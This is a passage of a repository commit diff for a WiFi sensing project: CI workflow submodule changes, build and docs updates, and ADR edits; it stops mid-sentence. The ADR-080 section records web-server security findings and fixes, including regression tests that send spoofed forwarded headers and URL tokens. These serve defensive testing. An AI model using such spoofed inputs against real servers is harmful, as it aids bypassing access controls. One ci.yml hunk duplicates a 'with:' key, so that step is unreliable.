feat(train): metric-locked PCK/MPJPE accuracy harness + ADR-173 (resolve PCK-definition ambiguity) (#1092)

* feat(train): metric-locked PCK/MPJPE accuracy harness — resolve PCK-definition ambiguity

The SOTA brief (docs/research/sota-nn-train-benchmark-brief.md §1/§3.1/§4)
identifies metric ambiguity as the single biggest threat to any beyond-SOTA
claim: three PCK@20 numbers (96.09% WiFlow-STD image-normalized, 81.63%
AetherArena torso-PCK, 61.1% GraphPose-Fi standard PCK) cannot be lined up
because each silently uses a different normalization. The project was retracted
twice over this (a withdrawn 92.9% used absolute pixels, not torso).

New src/accuracy.rs makes the normalizer explicit, selectable, and carried with
every reported number:
- PckNormalization enum: TorsoDiameter (standard MM-Fi/GraphPose-Fi hip↔hip),
  BoundingBoxDiagonal (looser WiFlow-STD image-normalized), AbsolutePixels(t)
  (retracted convention, reproducible + clearly non-comparable).
- pck_at(pred, gt, vis, k, normalization) — one canonical PCK reusing the
  metrics_core geometric primitives (no duplicate kernel).
- mpjpe(pred, gt, vis) — 2D/3D, mm.
- PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints,
  n_frames } via accuracy_report(frames, ks, normalization) — an unlabeled PCK
  number is structurally impossible.

17 hand-computed deterministic tests (no GPU, no datasets) prove the harness
arithmetic, including the key proof that identical predictions score
0.50 / 1.00 / 0.75 under the three normalizations, plus graceful degenerate
handling (zero torso, empty frames, NaN coords — no panic, never false-perfect).

This is measurement infrastructure, NOT an accuracy claim. Public API worth an
ADR — needs ADR slot 173 (parent to write).

wifi-densepose-train lib 191→206, test_metrics 12→14, 0 failed; full workspace
green (exit 0); Python deterministic proof unchanged
(f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a).

Co-Authored-By: claude-flow <ruv@ruv.net>

* docs(adr): ADR-173 — metric-locked PCK/MPJPE accuracy harness

Documents the accuracy harness (committed 3a8b2ed13) that resolves the
PCK-definition ambiguity flagged as the #1 beyond-SOTA risk in the SOTA brief
(#1090): three historical numbers (96/81.6/61) used three unstated
normalizations. The harness makes normalization explicit + selectable
(PckNormalization enum) and every reported number carries its definition.
Key proof: identical predictions → 0.50/1.00/0.75 under torso/bbox/abs.

Co-Authored-By: claude-flow <ruv@ruv.net>

.github/workflows/aether-arena-harness.yml

@@ -33,6 +33,8 @@ jobs:
         working-directory: v2
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust toolchain
         run: rustup show && rustc --version

.github/workflows/bfld-mqtt-integration.yml

@@ -53,6 +53,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust toolchain
         uses: dtolnay/rust-toolchain@stable

.github/workflows/cd.yml

@@ -42,6 +42,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Determine deployment environment
       id: determine-env
@@ -86,6 +88,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up kubectl
       uses: azure/setup-kubectl@v3
@@ -132,6 +136,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up kubectl
       uses: azure/setup-kubectl@v3

.github/workflows/ci.yml

@@ -29,6 +29,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Set up Python
@@ -82,6 +83,13 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
+      # ADR-262 P1: `wifi-densepose-rufield` path-deps the `vendor/rufield`
+      # submodule. Without a recursive checkout the workspace build fails to
+      # resolve those path deps in CI even though it passes locally.
+      with:
+        submodules: recursive
 
     # `wifi-densepose-desktop` is a Tauri v2 app — `glib-sys`, `gtk-sys`,
     # `webkit2gtk-sys`, etc. need the Linux dev libraries via pkg-config or the
@@ -202,6 +210,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python ${{ matrix.python-version }}
       continue-on-error: true
@@ -267,6 +277,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       uses: actions/setup-python@v6
@@ -335,6 +347,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Docker Buildx
       continue-on-error: true
@@ -407,6 +421,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       uses: actions/setup-python@v6

.github/workflows/clone-tracking.yml

@@ -35,6 +35,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Fetch /traffic/clones + /traffic/views from GitHub
         env:

.github/workflows/cog-ha-matter-release.yml

@@ -28,6 +28,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Rust
         uses: dtolnay/rust-toolchain@stable
@@ -78,6 +80,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Rust
         uses: dtolnay/rust-toolchain@stable
@@ -145,6 +149,8 @@ jobs:
       vars.HAS_GCP_CREDENTIALS == 'true'
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download x86_64 artifact
         uses: actions/download-artifact@v4

.github/workflows/dashboard-a11y.yml

@@ -20,6 +20,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: dtolnay/rust-toolchain@stable
         with: { targets: wasm32-unknown-unknown }

.github/workflows/dashboard-pages.yml

@@ -26,6 +26,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust + wasm32 target
         uses: dtolnay/rust-toolchain@stable

.github/workflows/desktop-release.yml

@@ -28,6 +28,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Node.js
         uses: actions/setup-node@v6
@@ -83,6 +85,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Node.js
         uses: actions/setup-node@v6
@@ -131,6 +135,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download all artifacts
         uses: actions/download-artifact@v4

.github/workflows/firmware-ci.yml

@@ -22,6 +22,8 @@ jobs:
     if: github.ref_type == 'tag'
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: Check firmware version.txt == tag
         run: |
           # Tag form: vX.Y.Z-esp32  →  expect version.txt to contain X.Y.Z
@@ -71,6 +73,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Build firmware (${{ matrix.variant }})
         working-directory: firmware/esp32-csi-node

.github/workflows/firmware-qemu.yml

@@ -100,6 +100,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download QEMU artifact
         uses: actions/download-artifact@v4
@@ -214,6 +216,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install clang
         run: |
@@ -263,6 +267,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install NVS generator
         run: pip install esp-idf-nvs-partition-gen
@@ -317,6 +323,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download QEMU artifact
         uses: actions/download-artifact@v4

.github/workflows/fix-regression-guard.yml

@@ -22,6 +22,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: actions/setup-python@v6
         with:

.github/workflows/mqtt-integration.yml

@@ -41,6 +41,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install mosquitto + clients and start with allow_anonymous
         run: |

.github/workflows/nvsim-server-docker.yml

@@ -26,6 +26,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: docker/setup-buildx-action@v3
 

.github/workflows/pip-release.yml

@@ -76,6 +76,8 @@ jobs:
     runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       # Linux aarch64 needs QEMU for cross-build on x86_64 runners.
       - name: Set up QEMU
@@ -121,6 +123,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: Install maturin
         run: pip install maturin>=1.7
       - name: Build sdist
@@ -144,6 +148,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: actions/setup-python@v5
         with:
           python-version: '3.12'

.github/workflows/pointcloud-pages.yml

@@ -29,6 +29,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Stage viewer for Pages
         run: |

.github/workflows/ruview-swarm-ci.yml

@@ -40,6 +40,8 @@ jobs:
           - { label: 'full+train',       flags: '--features full,train' }
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: dtolnay/rust-toolchain@stable
       - name: Cache cargo
         uses: actions/cache@v4
@@ -60,6 +62,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       # v2/rust-toolchain.toml pins channel "1.89" with profile "minimal" (no
       # clippy). dtolnay@stable installs clippy on the floating "stable"
       # toolchain, but the override makes cargo use the separate "1.89"
@@ -93,6 +97,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: dtolnay/rust-toolchain@stable
       - name: Cache cargo
         uses: actions/cache@v4
@@ -127,6 +133,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: publish = false is present (no accidental crates.io publish)
         run: |
           CARGO=v2/crates/ruview-swarm/Cargo.toml

.github/workflows/security-scan.yml

@@ -28,6 +28,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Set up Python
@@ -97,6 +98,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       continue-on-error: true
@@ -164,6 +167,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Docker Buildx
       continue-on-error: true
@@ -245,6 +250,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Run Checkov IaC scan
       continue-on-error: true
@@ -307,6 +314,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Run TruffleHog secret scan
@@ -341,6 +349,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       continue-on-error: true
@@ -378,6 +388,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Check security policy files
       continue-on-error: true

.github/workflows/threejs-pages.yml

@@ -30,6 +30,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Stage demos for Pages
         run: |

.github/workflows/verify-pipeline.yml

@@ -30,6 +30,8 @@ jobs:
     steps:
       - name: Checkout repository
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Set up Python ${{ matrix.python-version }}
         uses: actions/setup-python@v6

.gitignore

@@ -16,6 +16,15 @@ firmware/esp32-csi-node/sdkconfig.defaults.bak
 # ESP-IDF set-target backup (local only)
 firmware/esp32-hello-world/sdkconfig.old
 
+# Host-built firmware test binaries (compiled from test/*.c, not source)
+firmware/esp32-csi-node/test/test_adr110
+firmware/esp32-csi-node/test/test_vitals
+firmware/esp32-csi-node/test/fuzz_serialize
+firmware/esp32-csi-node/test/fuzz_edge
+firmware/esp32-csi-node/test/fuzz_nvs
+firmware/esp32-csi-node/test/*.exe
+firmware/esp32-csi-node/test/*.obj
+
 # Claude Flow swarm runtime state
 .swarm/
 

.gitmodules

@@ -18,3 +18,6 @@
 	path = v2/crates/ruv-neural
 	url = https://github.com/ruvnet/ruv-neural.git
 	branch = main
+[submodule "vendor/rufield"]
+	path = vendor/rufield
+	url = https://github.com/ruvnet/rufield

CLAUDE.md

@@ -22,6 +22,8 @@ Dual codebase: Python v1 (`v1/`) and Rust port (`v2/`).
 | `wifi-densepose-vitals` | ESP32 CSI-grade vital sign extraction (ADR-021) |
 | `nvsim` | Deterministic NV-diamond magnetometer pipeline simulator (ADR-089) — standalone leaf, WASM-ready |
 | `vendor/rvcsi` (submodule) | **rvCSI** — edge RF sensing runtime (ADR-095/096): 9 crates (`rvcsi-core`/`-dsp`/`-events`/`-adapter-file`/`-adapter-nexmon`/`-ruvector`/`-runtime`/`-node`/`-cli`). Lives in its own repo ([github.com/ruvnet/rvcsi](https://github.com/ruvnet/rvcsi)), vendored here under `vendor/rvcsi`, published to crates.io as `rvcsi-* 0.3.x` and to npm as `@ruv/rvcsi`. Not a `v2/` workspace member — depend on the published crates (or the submodule's `crates/rvcsi-*` paths). Normalized `CsiFrame`/`CsiWindow`/`CsiEvent` schema, validate-before-FFI, reusable DSP, typed confidence-scored events, the napi-c Nexmon shim (real nexmon_csi `.pcap` from a Raspberry Pi 5 / 4 / 3B+ — BCM43455c0), the napi-rs SDK, the `rvcsi` CLI, a Claude Code plugin. |
+| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 7 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`/`-viewer`), 72 tests/0 failed; `rufield-viewer` is an Axum + vanilla-JS read-only dashboard (`cargo run -p rufield-viewer`) completing ADR-260 §27.9. The WiFi-CSI modality is now **real-replay-backed** via `CsiReplayAdapter` (ingests real captured `.csi.jsonl` → fused presence/breathing inferences; replay-from-file, unlabeled CSI-variance proxy, not validated accuracy); mmWave/thermal + all synthetic-bench F1 numbers remain **SYNTHETIC** (no live hardware — live streaming + labeled accuracy are roadmap). |
+| `wifi-densepose-rufield` | ADR-262 P1 **anti-corruption bridge** — converts RuView WiFi-CSI sensing output (`SensingSnapshot` mirroring `SensingUpdate` + `TrustedOutput`, owned primitives, no dep on `wifi-densepose-sensing-server`) into **signed RuField `FieldEvent`s** (`Modality::WifiCsi`, real `timestamp_ns`, sha256 + ed25519 provenance, `synthetic=false`). The single coupling point between RuView and the standalone RuField MFS spec (§5.4); path-deps the `vendor/rufield` submodule crates (`rufield-core`/`-provenance`/`-privacy`/`-fusion`). **Critical §3.3 privacy mapping** (`map_privacy`): maps RuView class → RuField P0–P5 by **information content, never byte value**, fail-closed (`Derived → P4/P5`, never P1; `demoted` floors to ≥ P2). 15 tests / 0 failed (round-trip / `is_fusable` / fusion-ingest / privacy-safety / determinism). P1 plumbing — not wired into the live server (P3), no accuracy claim. |
 | `ruview-swarm` | Drone swarm control system (ADR-148) — hierarchical-mesh topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 compat, Ruflo AI-agent integration |
 
 ### RuvSense Modules (`signal/src/ruvsense/`)

README.md

@@ -194,7 +194,7 @@ The separate **17-keypoint pose-estimation model** is now published at [`ruvnet/
 | **Efficiency frontier** | [`docs/benchmarks/wifi-pose-efficiency-frontier.md`](docs/benchmarks/wifi-pose-efficiency-frontier.md) | SOTA-beating WiFi pose in a 20 KB int4 edge model |
 | **Pretrained encoder** | [`ruvnet/wifi-densepose-pretrained`](https://huggingface.co/ruvnet/wifi-densepose-pretrained) | 82.3% held-out temporal-triplet, 8 KB int4 |
 | **Reproducible proof (Trust Kill Switch)** | [`archive/v1/data/proof/verify.py`](archive/v1/data/proof/verify.py) + [`expected_features.sha256`](archive/v1/data/proof/expected_features.sha256) | one-command deterministic pipeline replay (SHA-256 of output vs published hash) |
-| **Benchmark-proof ADR** | [ADR-147](docs/adr/ADR-147-benchmark-proof.md) | how the numbers are produced and verified |
+| **Benchmark-proof ADR** | [ADR-168](docs/adr/ADR-168-benchmark-proof.md) | how the numbers are produced and verified |
 | **Witness attestation** | [`docs/WITNESS-LOG-028.md`](docs/WITNESS-LOG-028.md) | 33-row capability attestation matrix with per-claim evidence |
 
 ```bash

docker/Dockerfile.rust

@@ -14,6 +14,13 @@ COPY v2/crates/ ./crates/
 # Copy vendored RuVector crates
 COPY vendor/ruvector/ /build/vendor/ruvector/
 
+# Copy vendored RuField submodule — the `wifi-densepose-rufield` bridge crate
+# (ADR-262) path-deps `../../../vendor/rufield/crates/*`, which from the Docker
+# build layout (v2/ collapsed into /build) resolves to /vendor/rufield. Copy the
+# whole tree so the rufield workspace Cargo.toml (workspace-dep inheritance) and
+# the four bridged crates (rufield-core/-provenance/-privacy/-fusion) all resolve.
+COPY vendor/rufield/ /vendor/rufield/
+
 # Build release binaries:
 #   - sensing-server with `mqtt` feature so the HA-DISCO MQTT publisher
 #     (ADR-115) is wired in (auto-discovery topics flow to Home Assistant)

docs/adr/ADR-021-vital-sign-detection-rvdna-pipeline.md

@@ -1081,6 +1081,23 @@ The `wifi-densepose-vitals` crate (ESP32 CSI-grade vital signs) has not yet been
 - SONA-based environment adaptation
 - VitalSignStore with tiered temporal compression
 
+## Implementation Notes
+
+### 2026-06 — ESP32 edge vitals: person-count over-count + presence flicker (#998, #996)
+
+Two robustness bugs were fixed in the on-device edge path (`firmware/esp32-csi-node/main/edge_processing.c`, the ADR-039 packet `0xC5110002`). These touch the *boolean/count emission logic*, not the underlying CSI signal-processing math, and do **not** constitute a validated-accuracy claim — true occupancy-count and presence accuracy vs labelled ground truth remain hardware/data-gated (COM9 ESP32-S3 + labelled capture).
+
+- **#998 `n_persons` over-count (reported 4 for one person).** `update_multi_person_vitals()` divided the top-K subcarriers into `top_k_count/2` groups and marked *every* group `active`, so one body's multipath always read the full `EDGE_MAX_PERSONS`. Added an energy gate (`EDGE_PERSON_MIN_ENERGY_RATIO`), spatial dedup (`EDGE_PERSON_MIN_SC_SEP`), and a persistence debounce (`EDGE_PERSON_PERSIST_FRAMES`) via two pure functions `count_distinct_persons()` / `person_count_debounce()`.
+- **#996 presence flag flicker at ~50 cm.** Single-threshold compare on a noisy `presence_score` chattered at the boundary. Replaced with a Schmitt trigger + clear-debounce (`presence_flag_update()`, constants `EDGE_PRESENCE_HYST_RATIO` / `EDGE_PRESENCE_CLEAR_FRAMES`); `presence_score` is unchanged and still emitted for consumer-side thresholding.
+
+Both are pinned by host-buildable C99 tests in `firmware/esp32-csi-node/test/test_vitals_count_presence.c` (`make run_vitals`). The exact thresholds are documented constants pending on-device calibration against ground truth.
+
+### 2026-06 — Rust `wifi-densepose-vitals`: IIR filter NaN/inf self-heal (ADR-158 §A1)
+
+A correctness/safety review of the Rust extraction crate found a real bug parallel to the firmware robustness class above. The 2nd-order resonator `bandpass_filter` in both `breathing.rs` and `heartrate.rs` latches each output `y[n]` into its filter state (`y1`/`y2`). A single non-finite amplitude residual from a corrupt CSI frame produced a NaN `output` that was written into the state; the existing `extract()` `is_finite()` guard dropped that one sample from the history buffer **but never sanitized the poisoned filter state**, so every later output stayed NaN, was rejected too, and the sliding-window history never refilled — breathing **and** heart-rate extraction went silently dead (returning `None` forever) until `reset()`. On the alert path this is a safety-relevant denial of service (one bad frame stops vitals monitoring with no error surfaced).
+
+Fix: when `bandpass_filter` computes a non-finite `output`, it resets the IIR state to default and returns `0.0`, so the resonator self-heals on the next clean frame (the `0.0` is still dropped by the caller's finite-check, so no spurious sample enters history). Same shape as the calibration NaN bug (ADR-154 §3) — the prior hardening guarded the *history boundary* but not the *filter-state boundary*. Pinned by `breathing::tests::nan_frame_does_not_permanently_poison_filter`, `breathing::tests::inf_mid_stream_does_not_freeze_history`, and `heartrate::tests::nan_frame_does_not_permanently_poison_filter` (all FAIL pre-fix, verified by reverting). The review also de-magicked the HR physiological plausibility band into named `HR_PLAUSIBLE_MIN_BPM`/`HR_PLAUSIBLE_MAX_BPM` consts (value-identical 40/180 BPM) and added a fabricated-vital negative (`pure_noise_is_never_reported_valid` — broadband noise never yields a clinically `Valid` HR; the extractor honestly returns low-confidence `Unreliable`). Clean dimensions confirmed with evidence: flat/silent input → `None`; pure noise → low-confidence `Unreliable`, never `Valid`; harmonic-rich breathing with no cardiac component → low-confidence, not a confident false HR; out-of-band BPM rejected by the plausibility clamp.
+
 ## References
 
 - Ramsauer et al. (2020). "Hopfield Networks is All You Need." ICLR 2021. (ModernHopfield formulation)

docs/adr/ADR-052-tauri-desktop-frontend.md

@@ -5,7 +5,7 @@
 | Status | Proposed |
 | Date | 2026-03-06 |
 | Deciders | ruv |
-| Depends on | ADR-012 (ESP32 CSI Mesh), ADR-039 (Edge Intelligence), ADR-040 (WASM Programmable Sensing), ADR-044 (Provisioning Enhancements), ADR-050 (Security Hardening), ADR-051 (Server Decomposition) |
+| Depends on | ADR-012 (ESP32 CSI Mesh), ADR-039 (Edge Intelligence), ADR-040 (WASM Programmable Sensing), ADR-044 (Provisioning Enhancements), ADR-166 (Security Hardening, renumbered from ADR-050), ADR-051 (Server Decomposition) |
 | Issue | [#177](https://github.com/ruvnet/RuView/issues/177) |
 
 ## Context
@@ -211,7 +211,7 @@ pub struct FlashProgress {
 // commands/ota.rs
 
 /// Push firmware to a node via HTTP OTA (port 8032).
-/// Includes PSK authentication per ADR-050.
+/// Includes PSK authentication per ADR-166.
 #[tauri::command]
 async fn ota_update(
     node_ip: String,
@@ -801,7 +801,7 @@ Total estimated effort: ~11 weeks for a single developer.
 - ADR-039: ESP32 Edge Intelligence
 - ADR-040: WASM Programmable Sensing
 - ADR-044: Provisioning Tool Enhancements
-- ADR-050: Quality Engineering — Security Hardening
+- ADR-166: Quality Engineering — Security Hardening (renumbered from ADR-050)
 - ADR-051: Sensing Server Decomposition
 - `firmware/esp32-csi-node/` — ESP32 firmware source
 - `firmware/esp32-csi-node/provision.py` — Current provisioning script

docs/adr/ADR-080-qe-remediation-plan.md

@@ -1,6 +1,6 @@
 # ADR-080: QE Analysis Remediation Plan
 
-- **Status:** Proposed
+- **Status:** Proposed — P0 security findings #1–#3 **RESOLVED** on the shipped Rust sensing-server boundary (2026-06-13; closes ADR-164 G11)
 - **Date:** 2026-04-06
 - **Source:** [QE Analysis Gist (2026-04-05)](https://gist.github.com/proffesor-for-testing/a6b84d7a4e26b7bbef0cf12f932925b7)
 - **Full Reports:** [proffesor-for-testing/RuView `qe-reports` branch](https://github.com/proffesor-for-testing/RuView/tree/qe-reports/docs/qe-reports)
@@ -13,25 +13,38 @@ An 8-agent QE swarm analyzed ~305K lines across Rust, Python, C firmware, and Ty
 
 Address the 15 prioritized issues from the QE analysis in three waves: P0 (immediate), P1 (this sprint), P2 (this quarter).
 
+## Security P0 closure note (2026-06-13) — Rust sensing-server boundary
+
+The three P0 security findings below were logged against the **Python v1** API
+(`archive/v1/src/…`). ADR-164 G11 re-scoped them to the *shipped* boundary:
+`wifi-densepose-sensing-server` (Rust). They were verified against the current
+Rust crate and closed on branch `fix/adr-080-sensing-server-security`. Each fix
+(or already-fixed finding) is pinned by a test that fails on the old behavior.
+**The Python v1 paths remain as-is** — v1 is archived and not the shipped
+surface; this closure governs the live Rust server only.
+
 ## P0 — Fix Immediately
 
-### 1. Rate Limiter Bypass (Security HIGH)
+### 1. Rate Limiter Bypass / XFF spoofing (Security HIGH) — **RESOLVED (verified absent on Rust boundary)**
 
-- **Location:** `archive/v1/src/middleware/rate_limit.py:200-206`
+- **Original location (v1):** `archive/v1/src/middleware/rate_limit.py:200-206`
 - **Problem:** Trusts `X-Forwarded-For` without validation. Any client bypasses rate limits via header spoofing.
-- **Fix:** Validate forwarded headers against trusted proxy list, or use connection IP directly.
+- **Rust verification (2026-06-13):** The Rust sensing-server has **no XFF-trusting control to bypass** — there is no IP-based rate-limiter and no IP-allowlist, and neither security middleware reads a forwarded header. `bearer_auth.rs` authenticates on the token alone (`require_bearer` inspects only the `AUTHORIZATION` header); `host_validation.rs` decides on the `Host` header only. A repo-wide grep for `x-forwarded-for|forwarded|peer_addr|client_ip|real-ip` over `wifi-densepose-sensing-server` returns nothing. The only "rate limiter" is the MQTT *sample-rate* gate (`mqtt/state.rs`), a per-entity publish throttle with no IP/header input.
+- **Resolution:** No code change needed (no vulnerable surface). Regression tests pin the immunity: `bearer_auth::tests::xff_header_never_affects_auth_decision` (spoofed XFF never flips a 401↔200 decision) and `host_validation::tests::forwarded_headers_never_bypass_host_allowlist` (spoofed `X-Forwarded-Host: localhost` never lets a foreign `Host: evil.com` past the allowlist). Residual: if an IP-based control is ever added, it must derive the peer from the socket (`ConnectInfo<SocketAddr>`) and only honor XFF from an explicit `--trusted-proxy` CIDR — captured as guidance in the test docstrings.
 
-### 2. Exception Details Leaked in Responses (Security HIGH)
+### 2. Exception Details Leaked in Responses (Security HIGH, CWE-209) — **RESOLVED**
 
-- **Location:** `archive/v1/src/api/routers/pose.py:140`, `stream.py:297`, +5 endpoints
-- **Problem:** Stack traces visible regardless of environment.
-- **Fix:** Wrap with generic error responses in production; log details server-side only.
+- **Original location (v1):** `archive/v1/src/api/routers/pose.py:140`, `stream.py:297`, +5 endpoints
+- **Problem:** Internal error/stack-trace detail serialized into client responses.
+- **Rust finding (2026-06-13):** Six handlers in `wifi-densepose-sensing-server/src/main.rs` serialized the internal error `Display` into the JSON body: `edge_registry_endpoint` returned a panicked `spawn_blocking` `JoinError` (`"task … panicked"`) in a `500` and the raw upstream error in a `503`; `delete_model`/`delete_recording`/`start_recording` returned `std::io::Error` strings (OS detail / path); `calibration_start`/`calibration_stop` returned the `FieldModel` error chain.
+- **Fix:** New `src/error_response.rs` module — `internal_error` / `internal_error_json` / `upstream_unavailable` log the full detail **server-side only** (tagged with a correlation id) and return a generic body (`{"error":"internal_error","correlation_id":…}`) with no `panicked`, no file paths, no Debug chain. All six call-sites rewired. Pinned by `error_response::tests::internal_error_body_does_not_leak_detail` (leak-substring guard, verified to fail on the reverted old body) + 4 sibling tests.
 
-### 3. WebSocket JWT in URL (Security HIGH, CWE-598)
+### 3. WebSocket JWT in URL (Security HIGH, CWE-598) — **RESOLVED (verified absent on Rust boundary)**
 
-- **Location:** `archive/v1/src/api/routers/stream.py:74`, `archive/v1/src/middleware/auth.py:243`
+- **Original location (v1):** `archive/v1/src/api/routers/stream.py:74`, `archive/v1/src/middleware/auth.py:243`
 - **Problem:** Tokens in query strings visible in logs/proxies/browser history.
-- **Fix:** Use WebSocket subprotocol or first-message auth pattern.
+- **Rust verification (2026-06-13):** The Rust sensing-server never reads a token from the URL. `require_bearer` (`bearer_auth.rs`) inspects only the `Authorization` header; the WebSocket handlers (`ws_sensing_handler`/`ws_introspection_handler`/`ws_pose_handler`) take a bare `WebSocketUpgrade` with no `Query` extractor; the single `Query` in the crate (`EdgeRegistryParams`) is a non-secret `refresh` flag.
+- **Resolution:** No code change needed (no query-token path exists). Regression test `bearer_auth::tests::query_string_token_is_never_accepted` proves `?token=`/`?access_token=` in the URL never authenticates (stays `401`) while the same token in the header succeeds (`200`) — verified to fail if a query-token path is re-introduced.
 
 ### 4. Rust Tests Not in CI
 

docs/adr/ADR-084-rabitq-similarity-sensor.md

@@ -259,14 +259,75 @@ Validation runs against:
 - **ADR-083** (Proposed) — Per-cluster Pi compute hop. Defines the
   device class that hosts the sketch bank.
 
+## Pass 2 — randomized rotation + multi-bit (ADR-156 §8, landed 2026-06)
+
+The "Open question" below ("does `BinaryQuantized` need a randomized
+rotation pre-pass?") is now **answered with measured numbers** via
+ADR-156 §10. Summary:
+
+- **Pass 2 (randomized rotation) is implemented** —
+  `crates/wifi-densepose-ruvector/src/rotation.rs`: a deterministic
+  `R = H·D` (Fast Hadamard Transform + seeded ±1 sign flips), `O(d log d)`
+  / `O(d)`, norm-preserving, reproducible from a stored `u64` seed. Opt-in
+  via `Sketch::from_embedding_rotated` / `SketchBank::with_rotation`;
+  Pass-1 API and wire format unchanged.
+- **Measured top-K coverage** (anisotropic planted-cluster fixture,
+  cosine ground truth, dim=128 N=2048 K=8): rotation lifts coverage
+  **36.13% → 46.39%** at the strict `candidate_k = K` bar, and Pass-2
+  reaches the **≥90% acceptance bar at candidate_k = 24 (~3× over-fetch)**.
+  Multi-bit (≤4-bit) reaches 74% at the strict bar. **Honest verdict:
